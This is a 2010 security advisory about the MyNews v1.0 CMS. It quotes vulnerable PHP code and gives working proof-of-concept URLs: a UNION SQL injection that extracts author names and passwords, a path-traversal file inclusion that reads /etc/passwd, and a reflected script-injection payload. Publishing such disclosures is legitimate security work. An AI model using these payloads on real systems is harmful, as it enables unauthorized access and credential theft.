Home / os / win7

MyNews v1.0 CMS - Sql Injection, LFI and XSS Vulnerabilities

Posted on 17 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>MyNews v1.0 CMS - Sql Injection, LFI and XSS Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================
MyNews v1.0 CMS - Sql Injection, LFI and XSS Vulnerabilities
============================================================


MyNews v1.0 CMS - Sql Injection, local file inclusion and XSS Vulnerabilities
Found by: mr_me - http://net-ninja.net/
Advisory: http://www.corelan.be:8800/advisories.php?id=10-040
Dork: &quot;Corelan Security Team&quot;
Homepage: http://mynews.magtrb.com/
Download: http://mynews.magtrb.com/download.php?fname=upload/Versions/MyNews+v1.0.zip
Greetz: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/
Notes:
- Provided 'as is', without any warranty.
- Use for educational purposes only.
- Do not use this to do anything illegal !
- Corelan cannot be held responsible for any damages this may cause.
 
******************
Sql Injection PoC:
******************
 
-------[ SNIP ]----------&gt; article.php, line 10
$sql_query = &quot;select id, title, text, views from &quot;.$prefix.&quot;_news where id=&quot;.$_GET[id].&quot;&quot;;
-------[ EOF SNIP ]------&gt;
 
http://[server]/MyNews/index.php?act=article&amp;id=[ SQLI ]
http://[server]/MyNews/index.php?act=article&amp;id=-12+union+select+1,2,concat(name,0x3a,pwd),4+from+_authors--
 
********************
File Inclusion PoCs:
********************
 
-------[ SNIP ]----------&gt; index.php, line 18
if (!isset($_GET['act'])) { $act = 'news'; } else { $act = $_GET['act']; }
 
include('./includes/header.php');
require('./includes/'.$act.'.php');
-------[ EOF SNIP ]------&gt;
 
-------[ SNIP ]----------&gt; admin.php, line 65
if(!isset($act)){$act =&quot;index&quot;; }
 
if($act){include(&quot;includes/admin/$act.php&quot;);
$smarty-&gt;assign(&quot;act&quot;, $act);
}
-------[ EOF SNIP ]------&gt;
 
1:
http://[server]/MyNews/index.php?act=[ LFI ]%00&amp;id=12
http://[server]/MyNews/index.php?act=../../../../etc/passwd%00&amp;id=12
 
2 (requires authentication):
http://[server]/MyNews/admin.php?act=[ LFI ]%00
http://[server]/MyNews/admin.php?act=../../../../etc/passwd%00
 
*******************
Reflective XSS PoC:
*******************
 
http://[server]/MyNews/admin.php?act=&lt;script&gt;alert(&quot;Found by the Corelan Security Team&quot;)&lt;/script&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :